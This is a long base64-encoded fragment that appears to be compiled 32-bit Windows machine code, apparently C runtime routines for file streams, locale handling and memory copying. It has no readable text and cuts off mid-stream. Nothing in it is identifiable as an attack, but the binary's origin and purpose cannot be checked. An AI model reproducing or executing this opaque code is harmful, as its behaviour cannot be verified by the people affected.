A6AHXl6wTGAgBCi0XYi038iVAYi8MrwvfYG8BfI8NeM81b6PP1///Jw4v/VYvsg+wQi00IU4tdDFZXi30QiU34iV38hf90GoN9FAB0FIXJdRfoIiUAAMcAFgAAAOh1XAAAM8BfXlvJw4t1GIX2dAyDyP8z0vf3OUUUdiGD+/90DFNqAFHo7EsAAIPEDIX2dMGDyP8z0vf3OUUUd7UPr30U90YMDAEAAIl98IvfdAiLRhiJRfTrB8dF9AAQAACF/w+E2gAAAPdGDAwBAAB0RItGBIXAdD0PiPIAAACL+zvYcgKL+Dt9/A+HuwAAAFf/Nv91/P91+Oh2BQAAKX4EAT4Bffgr34PEECl9/It98OmFAAAAO130clyDffQAdB+5////fzPSO9l2CYvB93X0i8HrB4vD93X0i8MrwusLuP///3872HcCi8M7Rfx3W1D/dfhW6FsNAABZUOgHfAAAg8QMhcB0e4P4/3RkAUX4K9gpRfzrJFboEnUAAFmD+P90UoN9/AB0IotN+P9F+IgBi0YYS/9N/IlF9IXbD4Um////i0UU6bz+//+DfQz/dBD/dQxqAP91COi7SgAAg8QM6LYjAADHACIAAADpj/7//4NODCCLxyvDM9L3dRDphP7//4NODBDr7GoMaBi9BBDohGwAADP2iXXkOXUQdC85dRR0Kjl1GHUtg30M/3QP/3UMVv91COheSgAAg8QM6FkjAADHABYAAADorFoAADPA6IlsAADD/3UY6JkLAABZiXX8/3UY/3UU/3UQ/3UM/3UI6Nf9//+DxBSJReTHRfz+////6AUAAACLReTrw/91GOjVCwAAWcOL/1WL7P91FP91EP91DGr//3UI6Fr///+DxBRdw4v/VYvsg+wMU1eLfQgz2zv7dRjo0CIAAMcAFgAAAOgjWgAAg8j/6WUBAABWV+jvCwAAi/BZiXX4OV8EfQOJXwRqAVNW6I5+AACDxAyJRfw7ww+M+wAAAItXDPfCCAEAAHUIK0cE6SUBAACLB4tPCIvYK9mJXfT2wgN0PIvWwfoFixSVIDEFEIPmH8HmBvZEMgSAdBaL0TvQcxCL8IA6CnUBQ0I71nL1iV30g338AHUbi8Pp2AAAAITSeO/oKCIAAMcAFgAAAOmHAAAA9kcMAQ+EtAAAAItXBIXSdQghVfTppQAAAItd+It1+CvBA8LB+wWD5h+NHJ0gMQUQiUUIiwPB5gb2RDAEgHR5agJqAP91+OjBfQAAg8QMO0X8dSCLRwiLTQgDyOsJgDgKdQP/RQhAO8Fy8/dHDAAgAADrQGoA/3X8/3X46Ix9AACDxAyFwHkFg8j/6zi4AAIAADlFCHcQi08M9sEIdAj3wQAEAAB0A4tHGIlFCIsD9kQwBAR0A/9FCItFCClF/ItF9ANF/F5fW8nDagxoOL0EEOhFagAAM8A5RQgPlcCFwHUV6DchAADHABYAAADoilgAAIPI/+so/3UI6HoJAABZg2X8AP91COgq/v//WYlF5MdF/P7////oCQAAAItF5Og8agAAw/91COi/CQAAWcOL/1WL7FaLdQiLRgyog3UQ6NogAADHABYAAACDyP/rZ4Pg74N9EAGJRgx1Dlbo1f3//wFFDINlEABZVuhcTgAAi0YMWYTAeQiD4PyJRgzrFqgBdBKoCHQOqQAEAAB1B8dGGAACAAD/dRD/dQxW6LYJAABZUOhlfAAAM8mDxAyD+P8PlcGNQf9eXcNqDGhYvQQQ6FZpAAAzwDlFCA+VwIXAdRXoSCAAAMcAFgAAAOibVwAAg8j/6z+LdRCF9nQKg/4BdAWD/gJ12v91COh6CAAAWYNl/ABW/3UM/3UI6B////+DxAyJReTHRfz+////6AkAAACLReToNmkAAMP/dQjouQgAAFnDi/9Vi+xWi3UIV4PP/4X2dRTo0x8AAMcAFgAAAOgmVwAAC8frRPZGDIN0OFboZU0AAFaL+OjTfQAAVujjCAAAUOgDfQAAg8QQhcB5BYPP/+sSi0YchcB0C1DoifX//4NmHABZg2YMAIvHX15dw2oMaHi9BBDobWgAAINN5P8zwIt1CIX2D5XAhcB1FehZHwAAxwAWAAAA6KxWAACDyP/rDfZGDEB0DYNmDACLReToeWgAAMNW6IsHAABZg2X8AFboPP///1mJReTHRfz+////6AUAAADr1It1CFbo2AcAAFnDi/9Vi+xWi3UUhfZ1BDPA62GDfQgAdRPo7B4AAGoWXokw6EBWAACLxutIg30QAHQWOXUMchFW/3UQ/3UI6AQkAACDxAzrx/91DGoA/3UI6LJFAACDxAyDfRAAdLs5dQxzDuiiHgAAaiJZiQiL8euyahZYXl3Di/9Vi+yLRQhWi/HGRgwAhcB1Y+gbXwAAiUYIi0hsiQ6LSGiJTgSLDjsNSAkFEHQSiw38BgUQhUhwdQfoylwAAIkGi0YEOwXIDgUQdBaLRgiLDfwGBRCFSHB1COiqfgAAiUYEi0YI9kBwAnUUg0hwAsZGDAHrCosIiQ6LQASJRgSLxl5dwgQAi/9Vi+yD7BBT/3UQjU3w6GX///+LXQiF23Um6OwdAADHABYAAADoP1UAADhd/HQHi0X4g2Bw/bj///9/6b8AAABXi30Mhf91J+i+HQAAxwAWAAAA6BFVAACAffwAdAeLRfiDYHD9uP///3/pjwAAAItF8IN4FABWdTwr3w+3BDuD+EFyDYP4WncIg8AgD7fw6wKL8A+3B4P4QXILg/hadwaDwCAPt8CDxwJmhfZ0OmY78HTI6zMPtwONTfBRUOiBggAAD7fwD7cHjU3wUVCDwwLoboIAAIPEEIPHAg+3wGaF9nQFZjvwdM0Pt8gPt8YrwYB9/ABedAeLTfiDYXD9X1vJw4v/VYvsgz3gIQUQAFZ1aYt1CIX2dRfo7hwAAMcAFgAAAOhBVAAAuP///3/rW4tNDIXJdOIr8Q+3BA6D+EFyDYP4WncIg8AgD7fQ6wKL0A+3AYP4QXILg/hadwaDwCAPt8CDwQJmhdJ0BWY70HTID7fID7fCK8HrEGoA/3UM/3UI6Hj+//+DxAxeXcOL/1WL7FaLdRSF9nUEM8DrZIN9CAB1E+hiHAAAahZeiTDotlMAAIvG60uDfRAAdBk5dQxyFI0ENlD/dRD/dQjodyEAAIPEDOvE/3UMagD/dQjoDBr+/4PEDIN9EAB0uDl1DHMO6BUcAABqIlmJCIvx669qFlheXcOL/1WL7FFWV77//wAAVmg/EwAA6GGKAADdRQhZWQ+3TQ6L+LjwfwAAI8hmO8h1d1FR3Rwk6NKBAABZWYXAfjiD+AJ+JYP4A3Uu20UQV4PsEN1cJAjdRQjdHCRqGei8iAAAg8QY6UUBAABWV+gJigAAWVnpNAEAAN1FCFfcBSDnAxCD7BjdXCQQ20UQ3VwkCN1FCN0cJGoZagjo4IgAAIPEJOkIAQAA2e7a6d/g9sREe7jdRQiNRfxQUVHdHCTor4EAAItFEItN/IPEDIXAeQ26AAAAgCvQO8p8eesLuv///38r0DvKfwkDwT0ACgAAfjFXg+wQ3VwkCN0FwA8FEN0cJOguggAA3VwkCNtFEN0cJFFR3UUI3RwkahlqEel4////PQAEAAB+JAUA+v//UFFR3Rwk6KaAAACDxAxXg+wY3VwkENtFEN1cJAjrxj0D9v//fSTcDUiqBBBXg+wY3VwkENtFEN1cJAjdRQjdHCRqGWoS6SL///89A/z//30VBQAGAABQUVHdHCToUIAAAIPEDOvGUFFR3Rwk6ECAAABW3V0IV+jRiAAAg8QU3UUIX17Jw4v/VYvsg+wQM8BTVzlFEA+EzAAAAItdCIXbdRroMxoAAMcAFgAAAOiGUQAAuP///3/pqwAAAIt9DIX/dN9W/3UUjU3w6Hj7//+LRfCDeBQAdUEr3w+3BDuD+EFyDYP4WncIg8AgD7fw6wKL8A+3B4P4QXILg/hadwaDwCAPt8CDxwL/TRB0RGaF9nQ/ZjvwdMPrOI1F8FAPtwNQ6Ox+AAAPt/CNRfBQD7cHUOjcfgAAg8QQg8MCg8cC/00QD7fAdApmhfZ0BWY78HTID7fID7fGK8GAffwAXnQHi034g2Fw/V9bycOL/1WL7IM94CEFEABWdXkzwDlFEA+EgQAAAIt1CIX2dRfoSRkAAMcAFgAAAOicUAAAuP///3/rY4tNDIXJdOIr8Q+3BA6D+EFyDYP4WncIg8AgD7fQ6wKL0A+3AYP4QXILg/hadwaDwCAPt8CDwQL/TRB0CmaF0nQFZjvQdMMPt8gPt8IrwesTagD/dRD/dQz/dQjog/7//4PEEF5dw4v/VYvsUzPbOV0IdQQzwOtBVlf/dQjowYgAAI1wAWoCVuh2iAAAi/iDxAw7+3Qf/3UIVlfoAIgAAIPEDIXAdQSLx+sMU1NTU1Poj08AADPAX15bXcO4uAIFEMOhQEIFEFZqFF6FwHUHuAACAADrBjvGfQeLxqNAQgUQagRQ6MI1AABZWaM8MgUQhcB1HmoEVok1QEIFEOipNQAAWVmjPDIFEIXAdQVqGlhewzPSubgCBRDrBaE8MgUQiQwCg8Egg8IEgfk4BQUQfOpq/l4z0rnIAgUQV4vCwfgFiwSFIDEFEIv6g+cfwecGiwQHg/j/dAg7xnQEhcB1Aokxg8EgQoH5KAMFEHzOXzPAXsPoSkcAAIA9cCUFEAB0BejYhwAA/zU8MgUQ6KXt//9Zw4v/VYvsVot1CLi4AgUQO/ByIoH+GAUFEHcai84ryMH5BYPBEFHot4kAAIFODACAAABZ6wqDxiBW/xV04gMQXl3Di/9Vi+yLRQiD+BR9FoPAEFDoiokAAItFDIFIDACAAABZXcOLRQyDwCBQ/xV04gMQXcOL/1WL7ItFCLm4AgUQO8FyHz0YBQUQdxiBYAz/f///K8HB+AWDwBBQ6GiIAABZXcODwCBQ/xV44gMQXcOL/1WL7ItNCItFDIP5FH0TgWAM/3///4PBEFHoOYgAAFldw4PAIFD/FXjiAxBdw4v/VYvsi0UIhcB1Fei2FgAAxwAWAAAA6AlOAACDyP9dw4tAEF3Di/9Vi+xTi10MVot1CIvGwfgFjRSFIDEFEIsKg+YfweYGA86KQSQCwFcPtnkED77AgeeAAAAA0fiB+wBAAAB0UIH7AIAAAHRCgfsAAAEAdCaB+wAAAgB0HoH7AAAEAHU9gEkEgIsKjUwxJIoRgOKBgMoBiBHrJ4BJBICLCo1MMSSKEYDigoDKAuvogGEEf+sNgEkEgIsKjUwxJIAhgIX/X15bdQe4AIAAAF3D99gbwCUAwAAABQBAAABdw4v/VYvsi0UIhcB1FejVFQAAxwAWAAAA6ChNAABqFlhdw4sNGC0FEIkIM8Bdw4v/VovxhfZ0G4XAdBc7xnQTV2o2WYv486WDIABQ6E5RAABZX17DaghomL0EEOiEXgAAi3UIhfYPhI0AAABqDeixhwAAWYNl/ACLRgSFwHQcUP8VUOIDEIXAdRGLRgQ9oAoFEHQHUOhM6///WcdF/P7////oWwAAAIM+AHQ8agzocYcAAFnHRfwBAAAA/zbobFEAAFmLBoXAdBODOAB1Dj1wCAUQdAdQ6OxRAABZx0X8/v///+gmAAAAuA3wrbqJBolGBFbo7ur//1noLF4AAMOLdQhqDehChgAAWcOLdQhqDOg2hgAAWcMzwMOL/1WL7FNXM9sz/zldEH4iVo11EIPGBP82/3UM/3UI6JKdAACDxAyFwHULRzt9EHzjXl9bXcNTU1NTU+iaSwAAzIv/VYvsU1ZXi30IaJAAAAAz21NX6HE7AACLdQyKBoPEDITAdQczwOniAAAAPC51MY1GATgYdCpqD1CNh4AAAABqEFDomp0AAIPEEIXAdQiIn48AAADrzlNTU1NT6DhLAABoMOgDEFaJXQzoS+v//zvD6Y0AAACDfQwAjTwwih91F4P4QA+DgQAAAID7LnR8UFZqQP91COs7g30MAXUWg/hAc2iA+190Y1CLRQhWakCDwEDrHoN9DAJ1UYP4EHNMhNt0BYD7LHVDUItFCFZqEIPogFDoCp0AAIPEEIXAdTSA+ywPhD3///+E2w+ENf////9FDI13AWgw6AMQVui56v//hcBZWQ+Fa////4PI/19eW13DM8BQUFBQUOk9////i/9Vi+xTVot1EFb/dQz/dQjoxkoAAIPEDDPbhcB1QY1GQDgYdBZQaDjoAxBqAv91DP91COhn/v//g8QUjYaAAAAAOBheW3QWUGg06AMQagL/dQz/dQjoRf7//4PEFF3DU1NTU1PoEEoAAMyL/1WL7IPsEFMz20NoVQMAAIld9OgYMAAAWYlF8IXAD4Q9AQAAV414BMYHAIkY/3ZYu1EDAABoQOgDEP81dOcDEGoDU1fo6/3//41GWIPEGMdF/HTnAxCJRfhoPOgDEFNX6IWbAACDxAyFwA+FlgAAAItF+I1IEP8xiU34/zDozVYAAFlZhcB0BINl9ACLRfj/MINF/AxoQOgDEIlF+ItF/P8wagNTV+iJ/f//g8QYgX38pOcDEHyig330AHVVi0ZQix1Q4gMQhcB0EFD/04XAdQn/dlDoJ+j//1mLRlSFwHQQUP/ThcB1Cf92VOgQ6P//WYtF8INmVACDZkwAiUZQiX5Ii8frWjPAUFBQUFDo/EgAAP918Ojm5///i0ZQiz1Q4gMQM9tZO8N0EFD/14XAdQn/dlDox+f//1mLRlQ7w3QQUP/XhcB1Cf92VOiw5///WYtGaIleVIleTIleUIleSF9bycOL/1WL7IHstAAAAKHQBgUQM8WJRfyLRQxTVot1CFeLfRSJhWT///+LRRiJvVz///+JhWD////oA1IAAI2IxAAAAImNVP///42IyAAAAI2YvAAAAAVLAQAAiY1Y////iYVo////hfYPhKQBAACDvWT///8AD4SXAQAAg30QAA+EjQEAAIA+Q3VTgH4BAHVNaOzkAxD/dRD/tWT////oa0gAAIPEDIXAdSeF/3QLZokHZolHAmaJRwSLhWD///+FwHQDgyAAi4Vk////6UMBAAAzwFBQUFBQ6M9HAABW6GoVAAC/gwAAAFmJhVD///87x3MsVv+1aP///+juVAAAWVmFwA+EowAAAFb/tVj////o2FQAAFlZhcAPhI0AAACDpUz///8AjYVs////VlDo4Pv//1lZhcAPhdUAAACNhWz///9QU1Do7J8AAIPEDIXAD4S8AAAAD7dDBIuNVP///4kBjYVs////UFf/tWj////ovfz//4PEDIA+AHQKi4VQ////O8dyC4uFTP///750FwQQQFBWV/+1WP///+hUmQAAg8QQhcAPhSX///8z9jm1XP///3QRagZT/7Vc////6BkVAACDxAw5tWD///90FmoE/7VU/////7Vg////6PsUAACDxAz/tWj/////dRD/tWT////oFUcAAIPEDIXAdQiLhWj////rDFZWVlZW6cb+//8zwItN/F9eM81b6CHg///Jw4v/VYvsgezIAQAAodAGBRAzxYlF/ItFCFOL2VeJnXD+//+JhWj+///o8E8AAIv4U42FXP7//1CNhVD+//9QaIMAAACNhXj///9Q/7Vo/v//6Ir9//+DxBiFwHUQM8CLTfxfM81b6LXf///Jw8HjBAPe/3NIjYV4////UOhKUwAAWVmFwHUFi0NI69ONhXj///9Q6JMTAACDwAVQiYV0/v//6AUsAABZWYmFbP7//4XAdKqLQ0iLjXD+//+JhWj+//+NRI4MiYVY/v//iwCJhUj+//+NQQZrwAYDxmoGUImFZP7//42FOP7//1DoyhMAAItGBI2NeP///1GLjXT+//+JhUz+//+LhWz+//+DwfyDwARRUOjSRQAAg8QYhcAPhQkCAACLhWz+//+LjVj+//+DwASJQ0gPt4VQ/v//iQFqBo2FUP7//1D/tWT+///oZxMAAIPEDIO9cP7//wIPhRkBAACLhVz+//+DpXT+//8AiUYEi4f0AQAAi4/wAQAAiYVk/v//jYfQAQAAi1YEOxB0NosQ/4V0/v//iQiLjWT+//+JlUD+//+LUASJSASLjUD+//+DwAiDvXT+//8FiZVk/v//fMXrLYuFdP7//4XAdCONhMfQAQAAixCJl9ABAACLUASJl9QBAACJCIuNZP7//4lIBIO9dP7//wV1cmoB/3YUjYV4/v///3YEUGp/aLDnAxBqAWoA6CO1AACDxCCFwHQ8M8C5/wEAAGYhjEV4/v//QIP4f3LtaP4AAAD/NTgFBRCNhXj+//9Q6LWeAACDxAz32BvAQImH1AEAAOsHg6fUAQAAAItGBImH0AEAAIuH1AEAAImGqAAAAIO9cP7//wF1CYuFXP7//4lGCIuFcP7//2vADFb/kHDnAxBZhcB0MYuFaP7///+1bP7//4lDSOjE4v//i4VI/v//WYuNWP7//4kBi4VM/v//iUYE6Yj9//+BvWj+//8ABwUQdC6LvXD+//+DxwUD//80/v8VUOIDEIXAdRb/NP7oe+L///9zVOhz4v//g2NMAFlZi41w/v//i4Vs/v//g8EFA8nHAAEAAACJBM7pWf3//zPAUFBQUFDoUEMAAMyL/1WL7IHsmAAAAKHQBgUQM8WJRfyLRQhTVjPbi/JXibVo////O8t0GzvDdAxQ6JP8//9Z6dQBAAADyYtEzkjpyQEAAMeFcP///wEAAACJnXT///87ww+ErAEAAIA4TA+FMAEAAIB4AUMPhSYBAACAeAJfD4UcAQAAi/hoROgDEFfoirQAAIvYWVmF2w+E/wAAACvHiYVw////D4TxAAAAgDs7D4ToAAAAx4Vs////AQAAAL505wMQ6waLhXD///9QV/826H2zAACDxAyFwHUQ/zboGRAAAFk5hXD///90Ef+FbP///4PGDIH+pOcDEH7JQ2g86AMQU+hz4v//i/gz9llZO/51CYA7Ow+FgQAAAIO9bP///wV/RFdTjYV4////aIMAAABQ6GyUAACDxBCFwHVUi41s////i7Vo////iIQ9eP///42FeP///1DodPv//1mFwHQG/4V0////A/uAPwB0CkeAPwAPhQ3///8zwDmFdP///w+EkQAAAIu1aP///+mBAAAAVlZWVlbovkEAADPA63hTU1NogwAAAI2NeP///1FQ6Pv4//+DxBg7w3RcjX5Ihdt0Nf83jYV4////UOjKTgAAWVmFwHQbjYV4////UIvL6Oz6//9ZhcB1CCGFcP///+sG/4V0////Q4PHEIP7BX6+M8A5hXD///91CDmFdP///3QF6DP3//+LTfxfXjPNW+jL2v//ycOL/1WL7IN9CAVWV3ckg30MAHQeM/9HV2oI6HwnAACL8FlZhfZ1Eej8CQAAxwAMAAAAM8BfXl3DV2jYAAAA6FgnAABZWYkGhcB1CVbo1d///1nr01doIAIAAOg8JwAAWVmJRgSFwHUQ/zbot9///1bosd///1nr2YsGuXAIBRDo6/P///91DItNCIsW6FT9//9ZhcB1Gf826NFFAAD/NuhjRgAAVuh83///g8QM6zL/dgSLBv9wBOgDawAAWVmFwHQj/3YE6Fzf////NuidRQ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